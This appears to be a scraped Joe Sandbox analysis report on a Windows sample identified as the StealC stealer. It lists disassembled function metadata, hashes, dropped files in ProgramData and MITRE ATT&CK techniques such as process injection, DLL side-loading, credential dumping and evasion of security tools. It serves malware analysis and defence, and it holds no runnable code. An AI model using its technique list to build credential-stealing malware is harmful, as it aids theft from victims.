Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: be34bd0ab5b65201e96ad4282ab0739335b8232adf7ae3458d17af93273f72ef
Instruction ID: 0f086ff39acae5eabb2d79d96842db4f3bdc916c550ff94ec422e5ace48e7883
Opcode Fuzzy Hash: be34bd0ab5b65201e96ad4282ab0739335b8232adf7ae3458d17af93273f72ef
Instruction Fuzzy Hash: 19310271A1060A8FDB14CF2DDC806AE73E9FB84304F508639D41AD7655EF31E699CBA0

Function 6C58B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C530A4D), ref: 6C58B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C530A4D), ref: 6C58B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C530A4D), ref: 6C58B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C530A4D), ref: 6C58B67F

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: bd467d587b8c44cbf808677ed2be01e382036398fa78308ca9d1e6aa565272ed
Instruction ID: bb81685f65f4502f3fe71570285cce47405c8b2fa8f79b5d55e215b290fbd62c
Opcode Fuzzy Hash: bd467d587b8c44cbf808677ed2be01e382036398fa78308ca9d1e6aa565272ed
Instruction Fuzzy Hash: 3B31E671A022268FDB10DF5ADC4465EBBF9FF81314F168A69C8069B305EB31E915CBE1

Function 6C55F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C55F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C55F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C55F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C55F668

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 4f40ab0001101a854396660c12ba357dbbe7e20aa0f0de3638c38e754383e3e1
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 93313E71A00214AFC714CF6DCCC0A9E77B5EBC4358B548A79FA4A8BB09D731F9548B90

Function 6C5726B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5726C1
free.MOZGLUE(?), ref: 6C5726E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5726FF
free.MOZGLUE ref: 6C57270D

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: cb69993c6db6660a0a14445f6a0741a85c1211a7fa5ddf0cb7a55d01c61da748
Instruction ID: c84e075f9d28829128a2cd47bd449ab613c2adc929a1253a35015780013bb77b
Opcode Fuzzy Hash: cb69993c6db6660a0a14445f6a0741a85c1211a7fa5ddf0cb7a55d01c61da748
Instruction Fuzzy Hash: 00F0F9B27012009BEB209A59EC84D4B73A9FF41358B510035EA1AC3B01E732F998C6B6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZXVcgrmGRM.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DHDAFBFCFHIDAKFIIEBAAEHIJD

C:\ProgramData\EHJKFCGHIDHCBGDHJKEBGDGIJE

C:\ProgramData\GCBGCAFIIECBFIDHIJKF

C:\ProgramData\GDHIIDAF

C:\ProgramData\GIIEGHIDBGHIECAAECGD

C:\ProgramData\HJEHIJEBKEBFBFHIIDHI

C:\ProgramData\JJJJDAAE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
ZXVcgrmGRM.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre